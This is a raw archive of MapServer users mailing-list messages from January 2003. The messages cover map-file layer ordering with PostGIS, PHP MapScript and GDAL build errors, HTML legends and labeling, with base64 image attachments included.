tlwZ2L/8Jv8A6309v/GJMuGYyQ8v5SU+1r31lv0Gu1sOjZAd9H/ySSnd9Kr+t/ApKf8AyH+Ex2Pf 20p//9Lu8vFdk05tBY8i1ztjmg/SEFh3fybGKPSG5lWCynJofW+slrQGzLJ3V/R3fvbFrY30X/8A GP8AyoyZLGCTd6lfHLIQ4dK3ecsw8uvrjM2qix9NjdlpiNkgtc7X6W708dWc/puN1Bobk02GOHND geNuv73P5y2kkPaj3KTmkasDQU8lX0bOxqa/srHNsY0iQHMcHNd6jLHbZrynvbvq/S7Fo1W9SZTL 8ey55e0AEBhDDHqOfHt/R/uf+CLcSS9qPij3DewDm12WPbLqLaz+65uv/Q3NUpd/o3/5pWgkh7Mf FXunwc87iCDW8g6H2lCY66usM9C1xbLWmOQPoOc4/wAlaqi92xjnxO0EwOdEvZj3KRmO1AuKczGf IuyWNHBrreGwR9KX7vV/89qNGV0zHss9O2pjLIdo5g930SPpK1idMrdjVmrIvrrI9jP0RgeG40u3 LL690Pp3VHM6R1M5F9Liy1kOYwF8mv2+jULN1bXb/fsrS9iPcp96W2lOh+1On/8Acir/AD2f+SSH UsA8X1n4Pb/5Jc5l/wCKn6mYuLbkmjJeKWOeWNugnaN0DftatboXRumdOqb0rpj8qigepaAfTe0E ODHfpX1We6z+c2b/AKCXsx8Vvunwb37Swf8AT1/57f8AySEeo4AuD25FUPG2wb2dvoP+n/YS6n0+ iyqzAyLr7a8moseyam7mvIodU3bT6m93qf8Amawsf/FP9S76GXNqyAHiYN0kfyTt3NS9mPcpGWQ7 PQjqeAeMis/B7f8AySg/qWMTsrurZ42FzT/mM3+7+0snoX1c6H0O62rpQyKftLmNtcLGWAxu9LS2 uxzPpv8A9fS372ThfZ6Tccq922IH6ESSYjWhL2Y9yoZSOgVUGAepWx794n1ILtwOv0/3f6vsUnDc 3a6p7mnkFhIQum9Sx2YLg2m2ujDp3AuhznNYPdDWe7f7f7f+DWnVY22ttjZ2vAcJ0MHxS9mPio5Z Hd57O6Bj5L22VMspewywBjixp7GusbWsd9L/AD1nUYv1qwcgihjrcZzmuIcASZFddk/R3bG17/8A wJdqkne2PEreMuTiX5N1Iffi249sw6tw3f2muZu9qK4F7XMLLAHAgkNcDrp7XBaKSb7MfFPuHweR q6bnsYGfZ7PbImBrBjfp/pPpqf7Pz/8AuO/7l1aSXsx7lh9qPi8VZ0/rJtePsb7KS2A2Wj5/vf6/ 21t0fbX4gGRVY3IrOjo+kW/Qcdvt/SN9ti2kkvZj4r8f6s3H8XLtc8+m70niDO0iDwfZ/WSV7I/w X/GNSUntj2+HXdXGfcuuj//T9Mr9Yb/S2ObvcZJIMzqOFOcv92v7z/5FfLaSd9i0fV+pJy/3a/vP /kUpy/3a/vP/AJFfLaSH2K+1+pJy/wB2v7z/AORSnL/dr+8/+RXy2kl9ivtfqScv92v7z/5FKcv9 2v7z/wCRXy2kl9ivtfqScv8Adr+8/wDkUpy/3a/vP/kV8tpJfYr7X6knL/dr+8/+RTTlT9Gufif/ ACK+XEkvsV9r9Rk5Uatrj4n/AMikDldm1/In/wAivlxJL7Ffa/Uc5U/Rrn4n/wAikDlRo2uPIn/y K+XEkvsV9r9RTkT9Gqfif/IpycqNW1x5k/8AkV8uJJfYr7X6jByuza/kT/5FPOX+7X95/wDIr5bS S+xX2v1JOX+7X95/8ilOX+7X95/8ivltJL7Ffa/Uk5f7tf3n/wAilOX+7X95/wDIr5bSS+xX2v1J OX+7X95/8ilOX+7X95/8ivltJL7Ffa/Uk5f7tf3n/wAilOX+7X95/wDIr5bSS+xX2v1Bb9oOzfsb DgWwSZP5rfopL5fSR6I6/wArf//Z ------=_NextPart_000_00C0_01C2BCA6.A9A374D0-- From nida at webstar.co.uk Wed Jan 15 05:49:57 2003 From: nida at webstar.co.uk (nida Khan) Date: Wed, 15 Jan 2003 13:49:57 -0000 Subject: [Mapserver-users] cant c top layer Message-ID: <01ca01c2bc9c$fe05aca0$a901a8c0@private.webstar.co.uk> This is a multi-part message in MIME format. ------=_NextPart_000_01C7_01C2BC9C.FDA89880 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi every1, I have 3 layers in my map file, One polygon, second multiline , third = point, where point is the top layer. Problem is, when I draw all three layers I can not c points layer, = although my polygon layer is TRANSPARENCY 20. I could c the point layer when I draw with multiline layer or on its = own. either its not drawing the points at all, or if its its underneath the = polygon layer.... but why? should'nt it be ploting it on top of polygon = layer??? I appreciate any input Regards Nida. My map file is like this =20 LAYER # start of the "district" layer object CONNECTIONTYPE postgis NAME "ward_freq" CONNECTION "host=3D127.0.0.1 port=3D5432 user=3Dpostgres = password=3Dblah dbname=3Dtest" DATA "wkb_geometry from city" STATUS ON TYPE POLYGON TRANSPARENCY 20 MINSCALE 150000 LABELITEM "total_freq" #LABELMAXSCALE 310000 CLASS TEMPLATE "ttt_query.html" NAME "ward_freq" COLOR 255 207 165 OUTLINECOLOR 0 0 0 # BACKGROUNDCOLOR 0 0 0 LABEL POSITION CC FONT fritqat-italic TYPE truetype SIZE 6 COLOR 0 0 0 =20 END #End of LABEL END #End of Class Object END # end of layer object =20 # to display river on the map LAYER # start of the "river" layer object CONNECTIONTYPE postgis NAME "river" CONNECTION "host=3D127.0.0.1 port=3D5432 user=3Dpostgres = password=3Dblah dbname=3Dtest" DATA "the_geom from river" STATUS ON TYPE LINE METADATA "DISCRIPTION" "RIVER" "RESULT_FIELDS" "feat_code" END CLASS TEMPLATE "ttt_query.html" EXPRESSION ([feat_code] =3D 71) NAME "river" COLOR 0 0 255 =20 # SYMBOL "solid" =20 SIZE 2 OUTLINECOLOR 0 0 0 =20 BACKGROUNDCOLOR 0 0 0 END # end of class object END # end of layer object LAYER # start of the "points" layer object CONNECTIONTYPE postgis NAME "points" CONNECTION "host=3D127.0.0.1 port=3D5432 user=3Dpostgres = password=3Dblah dbname=3Dtest" DATA "the_geom from code_point" =20 STATUS ON TYPE POINT CLASS NAME "codepoint" COLOR 0 0 0 OUTLINECOLOR 255 89 89 SYMBOL 'circle' SIZE 5 END # end of class object END # end of layer object ------=_NextPart_000_01C7_01C2BC9C.FDA89880 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi every1,
 
I have 3 layers in my map file, One polygon, second = multiline=20 , third point, where point is the top layer.
 
Problem is, when I draw all three layers I can not c = points=20 layer, although my polygon layer is   TRANSPARENCY 20.
I could c the point layer when I draw with multiline = layer or=20 on its own.
 
either its not drawing the points at all, or if its = its=20 underneath the polygon layer.... but why? should'nt it be ploting it on = top of=20 polygon layer???
 
I appreciate any input
Regards
Nida.
 
My map file is like this
 
     
LAYER # start of = the=20 "district" layer object
  CONNECTIONTYPE postgis
  NAME=20 "ward_freq"
  CONNECTION "host=3D127.0.0.1 port=3D5432 = user=3Dpostgres=20 password=3Dblah dbname=3Dtest"
   DATA "wkb_geometry=20 from city"
  STATUS ON
  TYPE POLYGON
 =20 TRANSPARENCY 20
  MINSCALE 150000
  LABELITEM=20 "total_freq"
  #LABELMAXSCALE 310000
 =20 CLASS
    TEMPLATE = "ttt_query.html"
    NAME=20 "ward_freq"
    COLOR 255 207 = 165
   =20 OUTLINECOLOR 0 0 0
   # BACKGROUNDCOLOR 0 0 = 0
   =20 LABEL
      POSITION=20 CC
      FONT=20 fritqat-italic
      TYPE=20 truetype
      SIZE=20 6
      COLOR 0 0 0  =
    END=20 #End of LABEL
  END #End of Class Object
END # end of layer=20 object
 
 
   
# to display river on the = map
LAYER=20 # start of the "river" layer object
  CONNECTIONTYPE = postgis
 =20 NAME "river"
  CONNECTION "host=3D127.0.0.1 port=3D5432 = user=3Dpostgres=20 password=3Dblah dbname=3Dtest"
  DATA "the_geom from = river"
  STATUS=20 ON
  TYPE LINE
 =20 METADATA
        "DISCRIPTION"=20 "RIVER"
         = "RESULT_FIELDS"=20 "feat_code"
  END
  CLASS
    TEMPLATE = "ttt_query.html"
    EXPRESSION ([feat_code] =3D=20 71)
    NAME "river"
    COLOR 0 0 = 255 =20
   # SYMBOL "solid" 
    SIZE=20 2
    OUTLINECOLOR 0 0 0   =
   =20 BACKGROUNDCOLOR 0 0 0
  END # end of class object
END # end = of layer=20 object
 
LAYER # start of the "points" layer object
  = CONNECTIONTYPE postgis
  NAME "points"
  CONNECTION=20 "host=3D127.0.0.1 port=3D5432 user=3Dpostgres password=3Dblah = dbname=3Dtest"
 =20 DATA "the_geom from code_point" 
  STATUS ON
  = TYPE=20 POINT
  CLASS
    NAME=20 "codepoint"
    COLOR 0 0 0
    = OUTLINECOLOR=20 255 89 89
    SYMBOL 'circle'
    = SIZE=20 5
  END # end of class object
END # end of layer=20 object
------=_NextPart_000_01C7_01C2BC9C.FDA89880-- From leo.olivieri at libero.it Wed Jan 15 06:36:11 2003 From: leo.olivieri at libero.it (=?iso-8859-1?Q?leo.olivieri@libero.it?=) Date: Wed, 15 Jan 2003 15:36:11 +0100 Subject: [Mapserver-users] (no subject) Message-ID: I have installed MapServer usind Red Hat 7.2Enigma and I have the instrunction on MapServer site. I have installed PHP 4.0.6 I have installed the example gmap75. I have the problem: 1)Running gmap75.phtml i have a white page with the error: Call to a member function on a non object in gmap75.php3 on line 549 2) running test_draw_legend_icon.phtml i have: warning :mapServer Errrors in msGetLabelsize:Could not find/open on line 46 Fatal error: call to a member function on a non object on line 48 From morissette at dmsolutions.ca Wed Jan 15 07:01:03 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 15 Jan 2003 10:01:03 -0500 Subject: [Mapserver-users] HTML-Legends ??? References: <003201c2bc5f$dd8d86b0$111b550a@nt.halle.de> Message-ID: <3E2577AF.502C7A19@dmsolutions.ca> > Mike Elstermann wrote: > > i'm working with mapserver 3.5 with win-binaries on win2000-prof an > iis. > i can't use the html-legends. i have insert the line: TEMPLATE > "legend.html" in the map-file in the legend-part, > but i get following error-message: loadLegend(): Unknown identifier. > (TEMPLATE):(60) > You need MapServer 3.6 and up to use the HTML legend. Version 3.5.1 that is referred to in the HTML Legend HOWTO was never released... it became version 3.6. We'll have to fix the docs. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From frauke.trurnit at gmx.de Wed Jan 15 07:39:27 2003 From: frauke.trurnit at gmx.de (frauke.trurnit at gmx.de) Date: Wed, 15 Jan 2003 16:39:27 +0100 (MET) Subject: [Mapserver-users] unable to load dynamic library References: <3E221F66.99E723E5@dmsolutions.ca> Message-ID: <32733.1042645167@www14.gmx.net> Hi Daniel, hi list, I can't find a copy of GDAL on my system. But I have two versions of GD: the SuSE-GD and the version I installed. Could this be a problem? I changed something in the Makefile of the MapServer, because I always receives with the call of "make" following error messages: mapraster.o(.text+0x4d4): undefined reference to `GDALGetRasterXSize' ... mapraster.o(.text+0x8ba): undefined reference to `GDALGetRasterXSize' mapraster.o(.text+0x92a): undefined reference to `GDALGetRasterYSize' mapraster.o(.text+0x98b): undefined reference to `GDALGetRasterYSize' ... mapresample.o(.text+0xb74): undefined reference to `GDALReadWorldFile' mapresample.o(.text+0xb83): undefined reference to `GDALGetRasterXSize' mapresample.o(.text+0xb95): undefined reference to `GDALGetRasterYSize' collect2: ld returned 1 exit status make: *** [shp2img] Fehler 1 I changed the GD_STATIC and added -ldl behind the GD_LIB in the MapServer Makefile and than I could compile the Mapserver. Can these changes generate the problems with the PHP/Mapscript? How can I solve otherwise the errors? An extract of my changed Makefile: # GD distribution (graphics library GIF and/or PNG support). (REQUIRED) # # - Versions 1.3 to 1.5 write non-LZW GIF (-DUSE_GD_1_3). # - Versions 1.6 and greater write PNG (-DUSE_GD_1_6). Add -lpng -lz to GD_LIB line. # # GDFONT_OBJ=gd-1.2/gdfontt.o gd-1.2/gdfonts.o gd-1.2/gdfontmb.o gd-1.2/gdfontl.o gd-1.2/gdfontg.o GD_INC= -I/usr/frauke/bibliotheken/mapserver-3.6.3/../gd-1.8.4 GD_LIB= -L/usr/frauke/bibliotheken/mapserver-3.6.3/../gd-1.8.4 -ldl -lgd -ljpeg -lfreetype -lpng -lz GD= -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DGD_HAS_GDIMAGEGIFPTR GD_STATIC =../gdal-1.1.7/gdal.a #I changed this line and added the -ldl behind the GD_LIB Frauke frauke.trurnit at gmx.de wrote: > > I get the following error message: > > Unable to load dynamic library > '/usr/local/lib/php/extensions/php_mapscript.so' - /usr/local/lib/php/extensions/php_mapscript.so: undefined symbol: > GDALGetRasterXSize in /usr/local/httpd/htdocs/releases/bundestag.php4 on line 2 > Fatal error: Call to undefined function: ms_newmapobj() in > /usr/local/httpd/htdocs/releases/bundestag.php4 on line 4 > PHP seems to find your php_mapscript.so OK. The problem seems related to your GDAL installation, php_mapscript.so would have been compiled for a given version of GDAL but would find another version at runtime. Make sure you don't have two copies of GDAL on your system, and that MapServer and MapScript are compiled for this copy of GDAL. (to be safe, recompile and reinstall GDAL from scratch: make clean; make; make install and then recompile MapServer: make clean; make) Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ -- +++ GMX - Mail, Messaging & more http://www.gmx.net +++ NEU: Mit GMX ins Internet. Rund um die Uhr f?r 1 ct/ Min. surfen! From vpascual at icc.es Wed Jan 15 08:29:16 2003 From: vpascual at icc.es (Pascual Ayats, Victor) Date: Wed, 15 Jan 2003 17:29:16 +0100 Subject: [Mapserver-users] problems with WMS and Cached Query Message-ID: Dear users When I run Itasca Demo the Cached Query don't work well, the result is a bizarre bmp. Also when I make a WMS query by HTTP get method, the result it's the same bizarre image(png or gif). I think mapserv try to build the image, but wrong. Any idea?? I've got Windows NT and Tomcat 4.1 and Mapserv3.6 Thanks in advance Victor Pascual Ayats PROJECTE IDEC Institut Cartogr?fic de Catalunya Parc de Montjuic - 08038 Barcelona tel. 34 93 567 15 00 Ext:3327 http://www.gencat.es/idec From steve.lime at dnr.state.mn.us Wed Jan 15 08:12:45 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 15 Jan 2003 10:12:45 -0600 Subject: [Mapserver-users] Mathematical model applied at ANGLE AUTO Message-ID: What version of MapServer, GD and FreeType are you using? I suspect the problem lies outside the MapServer but you never know. Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> "Calin D. NITU" 01/15/03 08:12 AM >>> Thanks for the tip for working with TRUTYPE fonts in labeling. Especialy to Daniel Morissete and John Deck. Now I get another problem. I am tring to figure out the mathematical model which is applied at declaration ANGLE AUTO in a LABEL. I want to label some streets with their name stored in NAAM colum of the DBF The results are very strange.... From hunt at zedxinc.com Wed Jan 15 09:39:30 2003 From: hunt at zedxinc.com (Aaron D. Hunt) Date: Wed, 15 Jan 2003 12:39:30 -0500 Subject: [Mapserver-users] label prooblem Message-ID: <005501c2bcbd$0ef31e10$1805000a@zedxinc.com> This is a multi-part message in MIME format. ------=_NextPart_000_0051_01C2BC93.25FE6A80 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0052_01C2BC93.25FE6A80" ------=_NextPart_001_0052_01C2BC93.25FE6A80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I am making a map of a farm with field boundaries. Can any one tell me = why mapserver is not labeling all the polygons (see attached). I have force label to true. Aaron D. Hunt ------=_NextPart_001_0052_01C2BC93.25FE6A80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I am making a map of a farm with field = boundaries.=20 Can any one tell me why mapserver is not labeling all the polygons (see=20 attached).
I have force label to = true.
 
Aaron D. = Hunt
------=_NextPart_001_0052_01C2BC93.25FE6A80-- ------=_NextPart_000_0051_01C2BC93.25FE6A80 Content-Type: image/jpeg; name="example.jpg" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="example.jpg" /9j/4AAQSkZJRgABAAEAYABgAAD//gAfTEVBRCBUZWNobm9sb2dpZXMgSW5jLiBWMS4wMQD/2wCE AAgFBgcGBQgHBgcJCAgJDBQNDAsLDBgREg4UHRkeHhwZHBsgJC4nICIrIhscKDYoKy8xMzQzHyY4 PDgyPC4yMzEBCAkJDAoMFw0NFzEhHCExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx MTExMTExMTExMTExMTExMf/EAaIAAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKCwEAAwEBAQEB AQEBAQAAAAAAAAECAwQFBgcICQoLEAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEU MoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK 0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+foRAAIBAgQEAwQHBQQEAAECdwABAgMRBAUhMQYS QVEHYXETIjKBCBRCkaGxwQkjM1LwFWJy0QoWJDThJfEXGBkaJicoKSo1Njc4OTpDREVGR0hJSlNU VVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5 usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm5+jp6vLz9PX29/j5+v/AABEIAjMCcAMBEQACEQEDEQH/ 2gAMAwEAAhEDEQA/APQdT1C+TU7pEvLhVWZwAsrAAbjxQBieINd1K102R0vLz03pOy7PcnNAHB+H dU8WXl9cag+u6slqSypHLeyMhOcZUZ6c/mKAOu0/VtUdZHl1i+Bd8oPtLkbenHP6UAat1qOpwWUC tqd15kmZNwmbheAB19s/jQBU/tTVkZSdTvSv/Xdv8aABPEOoK5SXULsZPBEzf40AW11i/KY/tC75 4z5zcfrQBE2o6vHzHqV23s8z/wCNAFZtc1SMfvL++U56idj+maAGPq2pzJ8mr3qn/ZunH6UAMOr6 5FGsf9o3coAxn7Q6sfxyaAJl1zVkQf8AEwuwe4edj+oNACNrWrKDnUL7r1Wd2H6HigBE1rVG5XVb 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 